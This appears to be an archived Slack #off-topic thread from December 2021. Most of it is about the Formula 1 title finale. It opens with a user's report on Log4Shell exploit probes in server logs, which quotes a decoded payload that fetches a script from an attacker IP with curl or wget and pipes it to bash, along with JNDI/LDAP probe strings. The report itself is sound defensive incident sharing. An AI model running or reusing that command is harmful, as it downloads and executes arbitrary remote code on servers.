Fork me on GitHub
#off-topic
<
2021-12-11
>
seancorfield07:12:08

An experience report on the log4j2 issue -- I already posted this on another Slack where there was a very active discussion about the vulnerability: > According to our Apache logs, we've been seeing probes for this exploit since 10/Dec/2021:09:22:16 +0000 (that's UTC) and while most have seemed to be "straightforward" LDAP queries back to mostly Russian servers with no payload, presumably just to test whether JNDI lookup was succeeding via logging, we've also seen some requests in this format:

access_log:45.155.205.233 - - [10/Dec/2021:18:22:04 +0000] "GET / HTTP/1.1" 302 132 "-" "${jndi:}"
which did not get logged via log4j2 but decodes to
(curl -s 45.155.205.233:5874/x.x.x.x:80||wget -q -O- 45.155.205.233:5874/x.x.x.x:80)|bash
where x.x.x.x is the server's public IP address -- so, if executed, that would download and run an arbitrary shell script on your server! > All our servers were running log4j2 2.14.1 already so we added `-Dlog4j2.formatMsgNoLookups=true` as a JVM option and restarted everything. > Our next production build will include log4j2 2.15.0 for everything. > It looks like the ports used in the LDAP requests are rotating. So I assume the attacking program starts a listener on a random port, probes a remote server sending that port number, waits for an appropriate time for a response, and then shuts down the listener and switches to a new port. We were seeing multiple requests from the same IP addresses, specifying the same LDAP hosts (using a different IP address), with multiple ports. > One batch of probes used this LDAP URI <ldaps://d71f9297.probe001.log4j.leakix.net:12042> where the prefix segment before .probe001 was a random hex string. Again, rotating listeners to make it harder to figure out what the probe was doing. > All the early probes came from this IP 128.14.102.187 (a Russian server). The fancy http://leakix.net stuff came from 167.71.13.196 (which is running on Digital Ocean). Some of the Basic/Command probes came from 45.137.21.9 (Bangladesh), others from 45.155.205.233 (Russia).

1
😮 2
👍 1
Darin Douglass12:12:30

I too saw the curl bash probe attempt, crazy stuff

lread15:12:41

Very interesting, thank you for sharing.

adi04:12:19

Thanks you for sharing. I've x-posted to a couple of other slacks (with attribution, of course).

kulminaator10:12:31

really baffled by why log4j people thought it's a good default behavior to do lookups inside of %m for stuff that can trigger network activity

kulminaator10:12:36

who even thinks of such madness 🙂

kulminaator10:12:18

whilst many run newer jvm versions that don't execute remote java code, the machines with vulnerable log4j versions are still a massive array of DDoS boxes (you can nuke themselves by specifying non existing ldap targets or nuke others by telling that their :443 or :80 is the ldap server)

kulminaator10:12:41

at times like these though it is good if you have been very strict on keeping codebase up to date and deployable so you can roll out the log4j update even to hundreds of microservices quickly

seancorfield20:12:58

The defaults in "newer jvm versions" only suppress some vectors, as I understand it. There are still lookups-by-default enabled for this current CVE on modern JDKs -- at least that's what I get from a lot of the security analyses...

seancorfield20:12:51

But, yeah, opting people into arbitrary code substitution by default seems like a spectacularly bad decision.

🙌 2
seancorfield20:12:50

When t.d.a. added the prep-lib stuff, my first thought was "why doesn't it do it automatically for me?" and then I thought "hmm, arbitrary code execution" and realized it was probably a really good idea that you get a list of libs that expect you to "prep" them and you have to opt into that explicitly so you can review what they actually do. Not that we already examine every new dependency we add to projects in general I guess, despite the "launch missiles" possibility of automatically executed initialization code... 🤷:skin-tone-2:

seancorfield07:12:13

So the probing started maybe 24 hours ago, making this truly a "zero-day" exploit and it certainly includes at least some explicit RCE attempts.

👍 1
aaron5109:12:08

is lein deps :tree | grep log4j sufficient to tell if we’re running a vulnerable version?

vemv10:12:40

yes You can automate it as well with https://github.com/rm-hull/nvd-clojure in case your dep tree changes in a future (or new CVEs pop up, oc)

👏 1
aaron5116:12:29

Thank you 🙏 We’ll run nvd-clojure in CI for all our projects

❤️ 1
aaron5100:12:54

Any idea why lein deps :tree | grep log4j would return no results, but jar tf uberjar.jar | grep log4j shows that log4j was included?

vemv00:12:20

profiles matter, try something like lein with-profile -user,-dev,+uberjar deps :tree or whatever profile combination is closer to production / your uberjarring process

vemv10:12:44

I have a pretty extensive test matrix which I'd want to add as a GH status check. Can't one add the whole GH Actions workflow instead of each job individually?

vemv16:12:54

not sure if that has to do, my problem is that when I'm in the Branch protection rule page I have to add every single job from the matrix as a status check. If the matrix has 30 items total I have to click around 30 times, there has to be a better way

dpsutton14:12:55

Final qualifying for formula 1 in the books. Championship leaders are exactly tied and it's a heads up race winner takes all.

Alex Miller (Clojure team)14:12:23

I'm sure it will be a casual start tomorrow. Will be interesting to see how the tire start plays out

dpsutton14:12:54

Yeah that flat spot might be incredibly important. Hope we have a clean getaway. And hopefully checo can stay in the mix

dpsutton14:12:53

But the race pace of the Mercedes' might prove too much. Maybe a two stop strategy and a late charge to the finish

Stuart15:12:48

I hope max can do it but I doubt it. He should have had it wrapped up by now if not for a puncture, being punted off by Hamilton and being punted off by Bottas.

Stuart15:12:55

Hamilton should go down as the luckiest F1 driver of all time.

dpsutton15:12:26

He's incredible. But he also gave up a race win with the brake magic fluke in Baku.

dpsutton15:12:30

Oscar piastri has been incredible in his rookie F2 season, sealing the championship with five consecutive pole positions. If you have F1 tv you can watch the whole F2 and F3 seasons. And they are great racing

vanelsas15:12:49

I'm actually happy that both drivers are on different strategies. This will spice things up. Not sure if my heart rate can get any higher but it will be exciting!

Alex Miller (Clojure team)15:12:07

Hamilton is not just lucky, he's an amazing driver. I'm team Red Bull but respect to him

dpsutton15:12:01

100%. He is incredible. Such a good driver the queen knighted him and as far as I know the only driver to be active when a part of a track was named after him. I'm hoping he does what he has always done, and hope that max and Red Bull can rise to that high bar and take the last championship in these regulations

Alex Miller (Clojure team)14:12:00

what a freaking end, omg

Alex Miller (Clojure team)14:12:37

gonna be fighting about this for a long time

Stuart14:12:37

that was a terrible ending

Stuart14:12:01

i wanted max to win, but I've never seen a race in 20+ years where they only allow n cars to unlap themselves to intentionally allow 2 cars to get close at front

Stuart14:12:18

I think Merc will protest that

Stuart14:12:25

thats not how I wanted Max to win it

Alex Miller (Clojure team)14:12:22

I mean, I can see race control wanting to set up a situation where the two clear leaders get to dog fight but hard to say it was "fair"

Alex Miller (Clojure team)14:12:39

Hamilton just sitting in his car

dpsutton14:12:19

i'm so glad they got us racing rather than finishing under safety car

dpsutton14:12:53

oh there might be a legitimate protest. only 5 cars were allowed to unlap, not the whole field

Alex Miller (Clojure team)14:12:02

I didn't understand why they retired perez?

Stuart14:12:58

and how did Ferrari get 3rd! 😄

Stuart14:12:18

I hope Ferrari is good next season.

Alex Miller (Clojure team)14:12:07

it would be great to see Ferrari and McLaren more regularly in the top mix and not just Merc and RB

dpsutton14:12:51

i'm hoping for a better mix of performance next year in addition to closer following due to aero changes. I've really enjoyed F2 and F3 for this reason

dpsutton14:12:03

the spec series give phenomenal racing the whole race through

dpsutton14:12:20

checo did the best lap at 5+ seconds off the pace and holding lewis behind. that was absolutely amazing

dpsutton14:12:06

awkward muted podium

Stuart15:12:23

i missed the last 10 minutes making cookies, have merc commented on it ?

dpsutton15:12:16

I've seen on Twitter that Mercedes' have launched two separate protests or appeals

Stuart15:12:19

This will get decided months from now in court

Stuart15:12:41

I reckon this will get overturned, and the FIA will decide to remove the last lap.

dpsutton15:12:42

those two rules are procedure for resuming race after safety car and passing a car under safety car

Stuart15:12:09

And they will classify at the position when the race was at laps-1

dpsutton15:12:29

i don't think the protest against max will go anywhere. i don't think anyone has any idea what to do about the protest against the race resumption

dpsutton18:12:10

Overtaking under the safety car protest is dismissed https://twitter.com/msportxtra/status/1470097033579188232?s=21

Stuart18:12:12

As it should have been, plenty of people have done that in the past with no penalty

Stuart18:12:38

I think if winning the title was decided over something as petty as that Mercedes would have looked really bad

Stuart18:12:07

One of the commentators on sky mentioned that Merc might threaten to leave if they aren't given the championship

dpsutton18:12:51

0% chance.

Stuart18:12:08

I agree there is a 0% chance they leave, but I can see them making the threat.

bronsa19:12:12

second one appeal dismissed

Stuart19:12:25

If that's true, I wouldn't believe anything red bull says, it just means this gets sorted in court over the next few months

bronsa19:12:50

it's official

👏 1
Stuart19:12:03

I still think this gets appealed and will eventually go to some court of arbitration.

Stuart19:12:29

Just hope it doesn't drag on till next season. Regardless of who wins in the end, I don't think this is good for the sport

Stuart19:12:46

I can't imagine a world championship decided in court, by lawyers arguing over the meaning of a certain phrase in some paragraph buried in 100s of pages of regulations

dpsutton19:12:16

Mercedes have notified they will appeal. Apparently the procedure is 48 hours of gathering data and putting together a case. I don't know which authority it goes to though. FIA or some higher sports authority

Stuart19:12:04

UNless we lose, then we appeal and win it in the court, you know given how dominant merc have been for so long, its kinda embarrasing to see them losing this badly.

dpsutton20:12:08

Interesting theory I saw online about checos retirement. Pure speculation but a guess his car was only fueled for 3/4 of the race distance to improve his pace. Complete speculation but I'm in awe and it sounds like something Horner could try

😮 1
bronsa20:12:31

I'm not sure that's possiblye, don't they have a minimum fuel limit?

bronsa20:12:31

anyway, I'm glad max won. but the race directing and stewarding has been appalling the last few races

dpsutton20:12:13

I’m aware of a maximum fuel limit and max fuel flow rate. Never have heard of a minimum except for a required 0.7 liter fuel sample required of all cars classified. And if you plan on retiring doesn't seem applicable

bronsa20:12:55

hmm, I may be misremembering

raspasov02:12:54

What a wild ending that was...

cfleming21:12:50

Fortunately I suspect that it doesn’t make outbound HTTP requests.

cfleming21:12:51

It’s a good demonstration of the scope of the problem, though.

walterl21:12:21

So the first interplanetary pwnage is up for grabs, but the latency is going to be a PITA 😝

adi02:12:43

Sounds like the next plot line (or should I say ... exploit line) for Star Trek Discovery https://youtu.be/A7B_ZWQFsYI

aaron5100:12:54

Any idea why lein deps :tree | grep log4j would return no results, but jar tf uberjar.jar | grep log4j shows that log4j was included?